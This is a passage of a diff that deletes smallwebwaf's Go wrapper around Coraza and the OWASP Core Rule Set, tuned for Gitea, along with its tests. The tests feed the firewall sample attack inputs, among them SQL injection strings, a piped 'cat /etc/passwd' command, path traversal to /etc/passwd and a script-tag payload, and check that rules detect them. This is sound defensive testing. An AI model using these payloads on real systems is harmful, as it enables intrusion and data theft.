!ARGS:artifactName|!ARGS:redirect_to"
|
|
||||||
|
|
||||||
# The fifth, for Referer: it is not checked for a Unix command without
|
|
||||||
# arguments, or for Java starting a process. The cookies are left out in
|
|
||||||
# Inspect.
|
|
||||||
SecRuleUpdateTargetById 932340 "!REQUEST_HEADERS:Referer"
|
|
||||||
SecRuleUpdateTargetById 944110 "!REQUEST_HEADERS:Referer"
|
|
||||||
`
|
|
||||||
|
|
||||||
// bodyDirectives have the Core Rule Set read the part of a request body
|
|
||||||
// Inspect gives it, which is at most one byte longer than the limit, up to
|
|
||||||
// the limit, %d bytes, and read JSON and XML as Coraza's recommended
|
|
||||||
// configuration has it in its rules 200000, 200001 and 200006, with
|
|
||||||
// text/json, and any application or text type ending in +xml or +json,
|
|
||||||
// besides; form data and multipart Coraza knows by itself. %% stands for
|
|
||||||
// a % Coraza reads.
|
|
||||||
const bodyDirectives = `
|
|
||||||
SecRequestBodyAccess On
|
|
||||||
SecRequestBodyLimit %d
|
|
||||||
SecRequestBodyLimitAction ProcessPartial
|
|
||||||
|
|
||||||
SecRule REQUEST_HEADERS:Content-Type \
|
|
||||||
"@rx ^(?:application|text)/(?:[a-z0-9.-]+[+])?xml" \
|
|
||||||
"id:900410,phase:1,pass,nolog,t:none,t:lowercase,ctl:requestBodyProcessor=XML"
|
|
||||||
SecRule REQUEST_HEADERS:Content-Type \
|
|
||||||
"@rx ^(?:application|text)/(?:[a-z0-9.-]+[+])?json" \
|
|
||||||
"id:900420,phase:1,pass,nolog,t:none,t:lowercase,ctl:requestBodyProcessor=JSON"
|
|
||||||
|
|
||||||
# The rest of the second change: Content-Encoding is refused again on a
|
|
||||||
# body of a kind the Core Rule Set reads, since a compressed body cannot be
|
|
||||||
# inspected.
|
|
||||||
SecRule REQBODY_PROCESSOR "@rx ^(?:URLENCODED|MULTIPART|JSON|XML)$" \
|
|
||||||
"id:900260,phase:1,pass,nolog,\
|
|
||||||
setvar:'tx.restricted_headers_basic=%%{tx.restricted_headers_basic} \
|
|
||||||
/content-encoding/'"
|
|
||||||
|
|
||||||
# A body Coraza fails to parse (900440), and a multipart body that fails
|
|
||||||
# its strict checks (900450), each add 5 to the score, as a rule the Core
|
|
||||||
# Rule Set rates critical does: no rule reads what comes after the fault,
|
|
||||||
# which the app may still read. Coraza's recommended configuration refuses
|
|
||||||
# them in its rules 200002 and 200003. A multipart body the limit cuts
|
|
||||||
# before the colon of a part's header line, or between the carriage return
|
|
||||||
# and the line feed that end a part's header line or the empty line after
|
|
||||||
# its headers, adds 5 too, since Coraza takes the line the limit cuts for a
|
|
||||||
# malformed header. Coraza parses any form data body.
|
|
||||||
SecRule REQBODY_ERROR "!@eq 0" "id:900440,phase:2,pass,severity:'CRITICAL',\
|
|
||||||
setvar:'tx.inbound_anomaly_score_pl1=+5'"
|
|
||||||
SecRule MULTIPART_STRICT_ERROR "!@eq 0" "id:900450,phase:2,pass,\
|
|
||||||
severity:'CRITICAL',setvar:'tx.inbound_anomaly_score_pl1=+5'"
|
|
||||||
`
|
|
||||||
|
|
||||||
// cookiesNotRead are the cookies the Core Rule Set reads a request
|
|
||||||
// without, the rest of the fifth change.
|
|
||||||
//
|
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
|
||||||
var cookiesNotRead = []string{"gitea_flash", "redirect_to"}
|
|
||||||
|
|
||||||
// Params are what New needs.
|
|
||||||
type Params struct {
|
|
||||||
// ParanoiaLevel is SWWAF_WAF_PARANOIA_LEVEL, from 1 to 4.
|
|
||||||
ParanoiaLevel int
|
|
||||||
// DisabledRules are the ids of the rules switched off
|
|
||||||
// (SWWAF_WAF_DISABLED_RULES).
|
|
||||||
DisabledRules []int
|
|
||||||
// BodyLimit is the most of a request body the Core Rule Set reads
|
|
||||||
// (SWWAF_WAF_BODY_LIMIT), 0 while it is off and it reads none.
|
|
||||||
BodyLimit int64
|
|
||||||
}
|
|
||||||
|
|
||||||
// CoreRuleSet is the Core Rule Set, ready to inspect requests. It is safe
|
|
||||||
// for concurrent use.
|
|
||||||
type CoreRuleSet struct {
|
|
||||||
waf coraza.WAF
|
|
||||||
bodyLimit int64
|
|
||||||
}
|
|
||||||
|
|
||||||
// New returns the Core Rule Set with the six changes, at params'
|
|
||||||
// paranoia level, without the rules it switches off, and reading request
|
|
||||||
// bodies up to params' limit.
|
|
||||||
func New(params Params) (*CoreRuleSet, error) {
|
|
||||||
body := ""
|
|
||||||
if params.BodyLimit > 0 {
|
|
||||||
body = fmt.Sprintf(bodyDirectives, params.BodyLimit)
|
|
||||||
}
|
|
||||||
|
|
||||||
text := fmt.Sprintf(directives, params.ParanoiaLevel, body)
|
|
||||||
|
|
||||||
if len(params.DisabledRules) > 0 {
|
|
||||||
ids := make([]string, len(params.DisabledRules))
|
|
||||||
for i, id := range params.DisabledRules {
|
|
||||||
ids[i] = strconv.Itoa(id)
|
|
||||||
}
|
|
||||||
|
|
||||||
text += "SecRuleRemoveById " + strings.Join(ids, " ") + "\n"
|
|
||||||
}
|
|
||||||
|
|
||||||
waf, err := coraza.NewWAF(coraza.NewWAFConfig().
|
|
||||||
WithRootFS(coreruleset.FS).
|
|
||||||
WithDirectives(text))
|
|
||||||
if err != nil {
|
|
||||||
return nil, fmt.Errorf("load the Core Rule Set: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
return &CoreRuleSet{waf: waf, bodyLimit: params.BodyLimit}, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// Result is what the Core Rule Set found in a request.
|
|
||||||
type Result struct {
|
|
||||||
// RuleIDs are the ids of the rules that matched, in the order they
|
|
||||||
// ran.
|
|
||||||
RuleIDs []int
|
|
||||||
// Score is the request's anomaly score: what those rules add up to.
|
|
||||||
Score int
|
|
||||||
}
|
|
||||||
|
|
||||||
// Inspect runs the Core Rule Set on r, a request from client: on its
|
|
||||||
// method, its URL with the query, and its headers, the Cookie header
|
|
||||||
// without the cookies in cookiesNotRead, and on body, r's body as the
|
|
||||||
// caller has it, as readBody reads it. It returns what it found, what it
|
|
||||||
// read of body, which the app is still to be sent, and the error that
|
|
||||||
// ended the reading early, if one did.
|
|
||||||
func (c *CoreRuleSet) Inspect(
|
|
||||||
r *http.Request, client netip.Addr, body io.Reader,
|
|
||||||
) (Result, []byte, error) {
|
|
||||||
tx := c.waf.NewTransaction()
|
|
||||||
// Closing would remove the files Coraza wrote, and it writes none.
|
|
||||||
defer func() { _ = tx.Close() }()
|
|
||||||
|
|
||||||
tx.ProcessConnection(client.String(), 0, "", 0)
|
|
||||||
tx.ProcessURI(r.URL.String(), r.Method, r.Proto)
|
|
||||||
|
|
||||||
for name, values := range r.Header {
|
|
||||||
for _, value := range values {
|
|
||||||
if name == "Cookie" {
|
|
||||||
value = withoutCookiesNotRead(value)
|
|
||||||
if value == "" {
|
|
||||||
continue // it held those cookies alone
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
tx.AddRequestHeader(name, value)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Go's server takes these two out of the headers.
|
|
||||||
tx.AddRequestHeader("Host", r.Host)
|
|
||||||
|
|
||||||
for _, encoding := range r.TransferEncoding {
|
|
||||||
tx.AddRequestHeader("Transfer-Encoding", encoding)
|
|
||||||
}
|
|
||||||
|
|
||||||
tx.ProcessRequestHeaders()
|
|
||||||
|
|
||||||
read, err := c.readBody(tx, body)
|
|
||||||
|
|
||||||
// This reads the body in memory and runs the rest of the rules, and
|
|
||||||
// cannot fail.
|
|
||||||
_, _ = tx.ProcessRequestBody()
|
|
||||||
|
|
||||||
var ids []int
|
|
||||||
|
|
||||||
for _, matched := range tx.MatchedRules() {
|
|
||||||
// The rules that look for attacks have a severity; the others set
|
|
||||||
// the Core Rule Set up and add up the score.
|
|
||||||
rule := matched.Rule()
|
|
||||||
if rule.Severity() != types.RuleSeverityUnset {
|
|
||||||
ids = append(ids, rule.ID())
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return Result{RuleIDs: ids, Score: score(tx)}, read, err
|
|
||||||
}
|
|
||||||
|
|
||||||
// readBody reads body, the body of the request in tx, which has run on
|
|
||||||
// the request's headers, while SWWAF_WAF_BODY_LIMIT is set and the body is
|
|
||||||
// of a kind the Core Rule Set reads: form data and multipart, of which it
|
|
||||||
// reads the first c.bodyLimit bytes, and JSON and XML, which it reads only
|
|
||||||
// when they are no longer than that, since they cannot be read in part.
|
|
||||||
// readBody reads one byte past the limit, to tell which they are, gives
|
|
||||||
// the Core Rule Set what it reads, and returns what it read and the error
|
|
||||||
// that ended the reading early, if one did.
|
|
||||||
func (c *CoreRuleSet) readBody(tx types.Transaction, body io.Reader) ([]byte, error) {
|
|
||||||
if c.bodyLimit == 0 {
|
|
||||||
return nil, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
inPart := false
|
|
||||||
// How the body is read is a variable of the transaction, which only
|
|
||||||
// Coraza's interface for plugins reads.
|
|
||||||
state := tx.(plugintypes.TransactionState) //nolint:forcetypeassert // every one is
|
|
||||||
|
|
||||||
switch state.Variables().RequestBodyProcessor().Get() {
|
|
||||||
case "URLENCODED", "MULTIPART":
|
|
||||||
inPart = true
|
|
||||||
case "JSON", "XML":
|
|
||||||
default:
|
|
||||||
return nil, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
read, err := io.ReadAll(io.LimitReader(body, c.bodyLimit+1))
|
|
||||||
|
|
||||||
if inPart || (err == nil && int64(len(read)) <= c.bodyLimit) {
|
|
||||||
// Coraza holds what it reads of the body in memory, up to the
|
|
||||||
// limit, so this cannot fail.
|
|
||||||
_, _, _ = tx.WriteRequestBody(read)
|
|
||||||
}
|
|
||||||
|
|
||||||
return read, err
|
|
||||||
}
|
|
||||||
|
|
||||||
// score returns the anomaly score the Core Rule Set added up in tx, a
|
|
||||||
// transaction it has run, or 0 if a rule that adds it up is switched off.
|
|
||||||
func score(tx types.Transaction) int {
|
|
||||||
// The score is in a variable of the transaction, which only Coraza's
|
|
||||||
// interface for plugins reads.
|
|
||||||
state := tx.(plugintypes.TransactionState) //nolint:forcetypeassert // every one is
|
|
||||||
|
|
||||||
values := state.Variables().TX().Get("blocking_inbound_anomaly_score")
|
|
||||||
if len(values) == 0 {
|
|
||||||
return 0
|
|
||||||
}
|
|
||||||
|
|
||||||
n, _ := strconv.Atoi(values[0])
|
|
||||||
|
|
||||||
return n
|
|
||||||
}
|
|
||||||
|
|
||||||
// withoutCookiesNotRead returns value, a Cookie header's, without the
|
|
||||||
// cookies in cookiesNotRead.
|
|
||||||
func withoutCookiesNotRead(value string) string {
|
|
||||||
var kept []string
|
|
||||||
|
|
||||||
for cookie := range strings.SplitSeq(value, ";") {
|
|
||||||
name, _, _ := strings.Cut(strings.TrimSpace(cookie), "=")
|
|
||||||
if !slices.Contains(cookiesNotRead, name) {
|
|
||||||
kept = append(kept, cookie)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return strings.Join(kept, ";")
|
|
||||||
}
|
|
||||||
@@ -1,688 +0,0 @@
|
|||||||
package waf_test
|
|
||||||
|
|
||||||
import (
|
|
||||||
"net/http"
|
|
||||||
"net/http/httptest"
|
|
||||||
"net/netip"
|
|
||||||
"net/url"
|
|
||||||
"path/filepath"
|
|
||||||
"reflect"
|
|
||||||
"strconv"
|
|
||||||
"strings"
|
|
||||||
"testing"
|
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/waf"
|
|
||||||
)
|
|
||||||
|
|
||||||
// defaultDisabledRules are the rules SWWAF_WAF_DISABLED_RULES switches off
|
|
||||||
// by default.
|
|
||||||
//
|
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
|
||||||
var defaultDisabledRules = []int{920340, 920420, 920440, 920640, 930130, 930140}
|
|
||||||
|
|
||||||
// newCoreRuleSet returns the Core Rule Set at paranoia level level, with
|
|
||||||
// the rules in disabled switched off.
|
|
||||||
func newCoreRuleSet(t *testing.T, level int, disabled ...int) *waf.CoreRuleSet {
|
|
||||||
t.Helper()
|
|
||||||
|
|
||||||
crs, err := waf.New(waf.Params{ParanoiaLevel: level, DisabledRules: disabled})
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("load the Core Rule Set: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
return crs
|
|
||||||
}
|
|
||||||
|
|
||||||
// request is a request a test inspects: its method, its target, the path
|
|
||||||
// and the query as a client sends them, and its headers, each written
|
|
||||||
// "Name: value".
|
|
||||||
type request struct {
|
|
||||||
method, target string
|
|
||||||
headers []string
|
|
||||||
}
|
|
||||||
|
|
||||||
// get is a GET request for target with headers.
|
|
||||||
func get(target string, headers ...string) request {
|
|
||||||
return request{http.MethodGet, target, headers}
|
|
||||||
}
|
|
||||||
|
|
||||||
// inspect returns what crs finds in r, sent to git.example by a browser,
|
|
||||||
// whose Host, User-Agent and Accept r.headers may replace.
|
|
||||||
func inspect(t *testing.T, crs *waf.CoreRuleSet, r request) waf.Result {
|
|
||||||
t.Helper()
|
|
||||||
|
|
||||||
result, _ := inspectBody(t, crs, r, "")
|
|
||||||
|
|
||||||
return result
|
|
||||||
}
|
|
||||||
|
|
||||||
// inspectBody is inspect for r with body, which is announced with its
|
|
||||||
// Content-Length unless it is "", and returns what crs read of body too.
|
|
||||||
func inspectBody(
|
|
||||||
t *testing.T, crs *waf.CoreRuleSet, r request, body string,
|
|
||||||
) (waf.Result, string) {
|
|
||||||
t.Helper()
|
|
||||||
|
|
||||||
req := httptest.NewRequestWithContext(t.Context(), r.method,
|
|
||||||
"http://git.example"+r.target, strings.NewReader(body))
|
|
||||||
req.Header.Set("User-Agent", "Mozilla/5.0 (X11; Linux x86_64; rv:131.0) "+
|
|
||||||
"Gecko/20100101 Firefox/131.0")
|
|
||||||
req.Header.Set("Accept", "text/html")
|
|
||||||
|
|
||||||
if body != "" {
|
|
||||||
req.Header.Set("Content-Length", strconv.Itoa(len(body)))
|
|
||||||
}
|
|
||||||
|
|
||||||
for _, header := range r.headers {
|
|
||||||
// Go's server keeps Host and Transfer-Encoding out of the headers.
|
|
||||||
name, value, _ := strings.Cut(header, ": ")
|
|
||||||
switch name {
|
|
||||||
case "Host":
|
|
||||||
req.Host = value
|
|
||||||
case "Transfer-Encoding":
|
|
||||||
req.TransferEncoding = []string{value}
|
|
||||||
default:
|
|
||||||
req.Header.Set(name, value)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
result, read, err := crs.Inspect(req, netip.MustParseAddr("203.0.113.9"), req.Body)
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("read the body: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
return result, string(read)
|
|
||||||
}
|
|
||||||
|
|
||||||
// wantResult checks what crs finds in r.
|
|
||||||
func wantResult(t *testing.T, crs *waf.CoreRuleSet, r request, want waf.Result) {
|
|
||||||
t.Helper()
|
|
||||||
|
|
||||||
if got := inspect(t, crs, r); !reflect.DeepEqual(got, want) {
|
|
||||||
t.Errorf("%s %s %q: %+v, want %+v", r.method, r.target, r.headers, got, want)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// matched is the result of a request that the rules ids match, each of
|
|
||||||
// them a critical one, which adds 5 to the score.
|
|
||||||
func matched(ids ...int) waf.Result {
|
|
||||||
const critical = 5
|
|
||||||
|
|
||||||
return waf.Result{RuleIDs: ids, Score: critical * len(ids)}
|
|
||||||
}
|
|
||||||
|
|
||||||
// atDefaults returns the Core Rule Set as smallwebwaf runs it by default.
|
|
||||||
func atDefaults(t *testing.T) *waf.CoreRuleSet {
|
|
||||||
t.Helper()
|
|
||||||
|
|
||||||
return newCoreRuleSet(t, 1, defaultDisabledRules...)
|
|
||||||
}
|
|
||||||
|
|
||||||
// wantChange checks that crs lets through passes, a gitea request one of
|
|
||||||
// the six changes is for, and still finds result in refused, a request
|
|
||||||
// like it that the change is not for.
|
|
||||||
func wantChange(
|
|
||||||
t *testing.T, crs *waf.CoreRuleSet, passes, refused request, result waf.Result,
|
|
||||||
) {
|
|
||||||
t.Helper()
|
|
||||||
|
|
||||||
wantResult(t, crs, passes, waf.Result{})
|
|
||||||
wantResult(t, crs, refused, result)
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestPutPatchAndDeleteAreAllowed(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
crs := atDefaults(t)
|
|
||||||
|
|
||||||
for _, r := range []request{
|
|
||||||
{http.MethodPut, "/v2/owner/image/blobs/uploads/1?digest=sha256:ab", nil},
|
|
||||||
{http.MethodPatch, "/api/v1/repos/owner/repo/issues/1", nil},
|
|
||||||
{http.MethodDelete, "/api/v1/repos/owner/repo/branches/old", nil},
|
|
||||||
} {
|
|
||||||
wantChange(t, crs, r, request{http.MethodTrace, r.target, nil}, matched(911100))
|
|
||||||
}
|
|
||||||
|
|
||||||
wantChange(t, crs, get("/"), request{"PROPFIND", "/", nil}, matched(911100))
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestExpectAndContentEncodingAreAllowed(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
const (
|
|
||||||
pushType = "Content-Type: application/x-git-receive-pack-request"
|
|
||||||
fetchType = "Content-Type: application/x-git-upload-pack-request"
|
|
||||||
length = "Content-Length: 1024"
|
|
||||||
push = "/owner/repo.git/git-receive-pack"
|
|
||||||
fetch = "/owner/repo.git/git-upload-pack"
|
|
||||||
)
|
|
||||||
|
|
||||||
crs := atDefaults(t)
|
|
||||||
|
|
||||||
wantResult(t, crs,
|
|
||||||
request{http.MethodPost, push, []string{pushType, length, "Expect: 100-continue"}},
|
|
||||||
waf.Result{})
|
|
||||||
wantResult(t, crs,
|
|
||||||
request{http.MethodPost, fetch, []string{
|
|
||||||
fetchType, length, "Content-Encoding: gzip",
|
|
||||||
}},
|
|
||||||
waf.Result{})
|
|
||||||
|
|
||||||
// Every other header on the Core Rule Set's list stays refused.
|
|
||||||
for _, header := range []string{
|
|
||||||
"Proxy: http://proxy.example",
|
|
||||||
"Lock-Token: token",
|
|
||||||
"Content-Range: bytes 0-1023/1024",
|
|
||||||
"If: token",
|
|
||||||
"X-HTTP-Method-Override: DELETE",
|
|
||||||
"X-HTTP-Method: DELETE",
|
|
||||||
"X-Method-Override: DELETE",
|
|
||||||
"X-Middleware-Subrequest: middleware",
|
|
||||||
} {
|
|
||||||
wantResult(t, crs,
|
|
||||||
request{http.MethodPost, push, []string{pushType, length, header}},
|
|
||||||
matched(920450))
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestTransferEncodingIsRead(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
// git sends a large push in chunks, with no Content-Length. Without
|
|
||||||
// Transfer-Encoding, that would be a POST without a length (920180).
|
|
||||||
wantResult(t, atDefaults(t),
|
|
||||||
request{http.MethodPost, "/owner/repo.git/git-receive-pack", []string{
|
|
||||||
"Content-Type: application/x-git-receive-pack-request",
|
|
||||||
"Transfer-Encoding: chunked",
|
|
||||||
}},
|
|
||||||
waf.Result{})
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestMoreParametersThanCorazaKeepsIsAMatch(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
const attack = "id=1'%20OR%20'1'='1"
|
|
||||||
|
|
||||||
crs := atDefaults(t)
|
|
||||||
|
|
||||||
// Coraza keeps 1000: an attack that is the 1000th is read, and one
|
|
||||||
// after it is not, but the request is a match all the same.
|
|
||||||
wantResult(t, crs, get("/?"+strings.Repeat("a=1&", 999)+attack), matched(942100))
|
|
||||||
wantResult(t, crs, get("/?"+strings.Repeat("a=1&", 1000)+attack), matched(900300))
|
|
||||||
|
|
||||||
// So it is with the fields of a form data or JSON body.
|
|
||||||
crs = readingBodies(t)
|
|
||||||
|
|
||||||
for _, tc := range []struct{ header, body string }{
|
|
||||||
{formData, strings.Repeat("a=1&", 999) + attack},
|
|
||||||
{jsonBody, `{"a":[` + strings.Repeat("1,", 998) + `1],"id":"` + injection + `"}`},
|
|
||||||
} {
|
|
||||||
wantBody(t, crs, post(tc.header), tc.body, matched(942100), tc.body)
|
|
||||||
}
|
|
||||||
|
|
||||||
for _, tc := range []struct{ header, body string }{
|
|
||||||
{formData, strings.Repeat("a=1&", 1000) + attack},
|
|
||||||
{jsonBody, `{"a":[` + strings.Repeat("1,", 999) + `1],"id":"` + injection + `"}`},
|
|
||||||
} {
|
|
||||||
wantBody(t, crs, post(tc.header), tc.body, matched(900300), tc.body)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestRedirectURIMayNameALocalAddress(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
const oauth = "/login/oauth/authorize?client_id=tea&response_type=code&"
|
|
||||||
|
|
||||||
crs := atDefaults(t)
|
|
||||||
|
|
||||||
wantChange(t, crs, get(oauth+"redirect_uri=http://127.0.0.1:52341/"),
|
|
||||||
get(oauth+"next=http://127.0.0.1:52341/"), matched(931100, 934110))
|
|
||||||
wantChange(t, crs, get(oauth+"redirect_uri=http://localhost:52341/"),
|
|
||||||
get(oauth+"next=http://localhost:52341/"), matched(934110))
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestParametersGiteaSendsNamesInSkipTheListsOfFilesPathsAndCommands(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
crs := atDefaults(t)
|
|
||||||
|
|
||||||
for _, value := range []struct {
|
|
||||||
name string
|
|
||||||
// result is what a parameter that is not one of gitea's gets.
|
|
||||||
result waf.Result
|
|
||||||
}{
|
|
||||||
// A file on the list of system files.
|
|
||||||
{".gitignore", matched(930120)},
|
|
||||||
// A command's name, after a directory on the list of shell paths.
|
|
||||||
{"bin/docker-entrypoint", matched(932260, 932160)},
|
|
||||||
} {
|
|
||||||
for _, parameter := range []string{
|
|
||||||
"path", "files", "skip-to", "sub_path", "ref", "sha", "branch", "workflow",
|
|
||||||
"artifactName", "redirect_to",
|
|
||||||
} {
|
|
||||||
wantChange(t, crs, get("/?"+parameter+"="+value.name),
|
|
||||||
get("/?q="+value.name), value.result)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// What only those rules refuse gets through there too, but path
|
|
||||||
// traversal and SQL injection are still refused.
|
|
||||||
wantChange(t, crs, get("/?path=|cat%20/etc/passwd"), get("/?q=|cat%20/etc/passwd"),
|
|
||||||
matched(930120, 932160))
|
|
||||||
wantResult(t, crs, get("/?path=../../etc/passwd"),
|
|
||||||
waf.Result{RuleIDs: []int{930100, 930110}, Score: 20})
|
|
||||||
wantResult(t, crs, get("/?path=1'%20OR%20'1'='1"), matched(942100))
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestParameterNamesAreMatchedWithoutRegardToCase(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
crs := atDefaults(t)
|
|
||||||
|
|
||||||
wantChange(t, crs, get("/?Path=.gitignore"), get("/?q=.gitignore"), matched(930120))
|
|
||||||
wantChange(t, crs, get("/?REDIRECT_URI=http://127.0.0.1:52341/"),
|
|
||||||
get("/?next=http://127.0.0.1:52341/"), matched(931100, 934110))
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestCookiesGiteaFlashAndRedirectToAreNotRead(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
const (
|
|
||||||
flash = "success%3DFile%2Bpackage.json%2Bdeleted"
|
|
||||||
redirectTo = "%2Fowner%2Frepo%2Fsrc%2Fbranch%2Fmain%2Fpackage.json"
|
|
||||||
)
|
|
||||||
|
|
||||||
crs := atDefaults(t)
|
|
||||||
|
|
||||||
wantChange(t, crs, get("/owner/repo", "Cookie: gitea_flash="+flash),
|
|
||||||
get("/owner/repo", "Cookie: flash="+flash), matched(930120))
|
|
||||||
wantChange(t, crs, get("/", "Cookie: redirect_to="+redirectTo),
|
|
||||||
get("/", "Cookie: redirect="+redirectTo), matched(930120))
|
|
||||||
|
|
||||||
// Among other cookies, which are read.
|
|
||||||
wantChange(t, crs,
|
|
||||||
get("/", "Cookie: lang=en-US; gitea_flash="+flash+"; redirect_to="+redirectTo+
|
|
||||||
"; i_like_gitea=abc"),
|
|
||||||
get("/", "Cookie: lang=en-US; gitea_flash="+flash+"; redirect="+redirectTo+
|
|
||||||
"; i_like_gitea=abc"),
|
|
||||||
matched(930120))
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestRefererIsNotCheckedForACommandOrJavaStartingAProcess(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
const (
|
|
||||||
search = "https://git.example/explore/repos?q=env"
|
|
||||||
runtimeJava = "https://git.example/openjdk/jdk/src/branch/master/src/" +
|
|
||||||
"java.base/share/classes/java/lang/Runtime.java"
|
|
||||||
)
|
|
||||||
|
|
||||||
crs := atDefaults(t)
|
|
||||||
|
|
||||||
wantChange(t, crs, get("/", "Referer: "+search), get("/", "User-Agent: "+search),
|
|
||||||
matched(932340))
|
|
||||||
wantChange(t, crs, get("/", "Referer: "+runtimeJava),
|
|
||||||
get("/", "X-Page: "+runtimeJava), matched(944110))
|
|
||||||
|
|
||||||
// It is still checked for script and SQL injection.
|
|
||||||
wantResult(t, crs,
|
|
||||||
get("/", "Referer: https://git.example/?q=<script>alert(1)</script>"),
|
|
||||||
matched(941110, 941160))
|
|
||||||
wantResult(t, crs, get("/", "Referer: https://git.example/?q=1' OR '1'='1"),
|
|
||||||
matched(942100))
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestEmptyHeaderIsRead(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
// An empty User-Agent is a notice, which adds 2.
|
|
||||||
wantResult(t, atDefaults(t), get("/", "User-Agent: "),
|
|
||||||
waf.Result{RuleIDs: []int{920330}, Score: 2})
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestParanoiaLevel(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
// Accept-Charset is refused from paranoia level 2.
|
|
||||||
r := get("/", "Accept-Charset: utf-8")
|
|
||||||
|
|
||||||
wantResult(t, newCoreRuleSet(t, 1), r, waf.Result{})
|
|
||||||
wantResult(t, newCoreRuleSet(t, 2), r, matched(920451))
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestEachDisabledRuleIsSwitchedOff(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
// A method not allowed, and a Host that is an IP address, a warning,
|
|
||||||
// which adds 3.
|
|
||||||
r := request{http.MethodTrace, "/", []string{"Host: 192.0.2.1"}}
|
|
||||||
|
|
||||||
wantResult(t, newCoreRuleSet(t, 1), r,
|
|
||||||
waf.Result{RuleIDs: []int{911100, 920350}, Score: 8})
|
|
||||||
wantResult(t, newCoreRuleSet(t, 1, 920350, 911100), r, waf.Result{})
|
|
||||||
}
|
|
||||||
|
|
||||||
// bodyLimit is SWWAF_WAF_BODY_LIMIT in the tests that read bodies.
|
|
||||||
const bodyLimit = 8 << 10
|
|
||||||
|
|
||||||
// The Content-Type headers of the kinds of body the Core Rule Set reads.
|
|
||||||
const (
|
|
||||||
formData = "Content-Type: application/x-www-form-urlencoded"
|
|
||||||
multipart = "Content-Type: multipart/form-data; boundary=b"
|
|
||||||
jsonBody = "Content-Type: application/json"
|
|
||||||
xmlBody = "Content-Type: application/xml"
|
|
||||||
)
|
|
||||||
|
|
||||||
// injection is an SQL injection, which rule 942100 matches.
|
|
||||||
const injection = "1' OR '1'='1"
|
|
||||||
|
|
||||||
// readingBodies returns the Core Rule Set as smallwebwaf runs it by
|
|
||||||
// default, but reading bodies up to bodyLimit.
|
|
||||||
func readingBodies(t *testing.T) *waf.CoreRuleSet {
|
|
||||||
t.Helper()
|
|
||||||
|
|
||||||
crs, err := waf.New(waf.Params{
|
|
||||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
|
|
||||||
})
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("load the Core Rule Set: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
return crs
|
|
||||||
}
|
|
||||||
|
|
||||||
// post is a POST request for / with a body of the type contentType, a
|
|
||||||
// Content-Type header, gives, and headers besides.
|
|
||||||
func post(contentType string, headers ...string) request {
|
|
||||||
return request{http.MethodPost, "/", append([]string{contentType}, headers...)}
|
|
||||||
}
|
|
||||||
|
|
||||||
// field is a part of a multipart body: the field name, holding value.
|
|
||||||
func field(name, value string) string {
|
|
||||||
return "--b\r\nContent-Disposition: form-data; name=\"" + name + "\"\r\n\r\n" +
|
|
||||||
value + "\r\n"
|
|
||||||
}
|
|
||||||
|
|
||||||
// end ends a multipart body.
|
|
||||||
const end = "--b--\r\n"
|
|
||||||
|
|
||||||
// padded returns head and tail with as many a's between them as make n
|
|
||||||
// bytes in all.
|
|
||||||
func padded(head, tail string, n int) string {
|
|
||||||
return head + strings.Repeat("a", n-len(head)-len(tail)) + tail
|
|
||||||
}
|
|
||||||
|
|
||||||
// wantBody checks what crs finds in r with body, and that what it read of
|
|
||||||
// body is read.
|
|
||||||
func wantBody(
|
|
||||||
t *testing.T, crs *waf.CoreRuleSet, r request, body string, want waf.Result,
|
|
||||||
read string,
|
|
||||||
) {
|
|
||||||
t.Helper()
|
|
||||||
|
|
||||||
got, gotRead := inspectBody(t, crs, r, body)
|
|
||||||
if !reflect.DeepEqual(got, want) || gotRead != read {
|
|
||||||
t.Errorf("%q with a body of %d bytes, %.40q: %+v, reading %d bytes, "+
|
|
||||||
"want %+v, reading %d", r.headers, len(body), body, got, len(gotRead),
|
|
||||||
want, len(read))
|
|
||||||
}
|
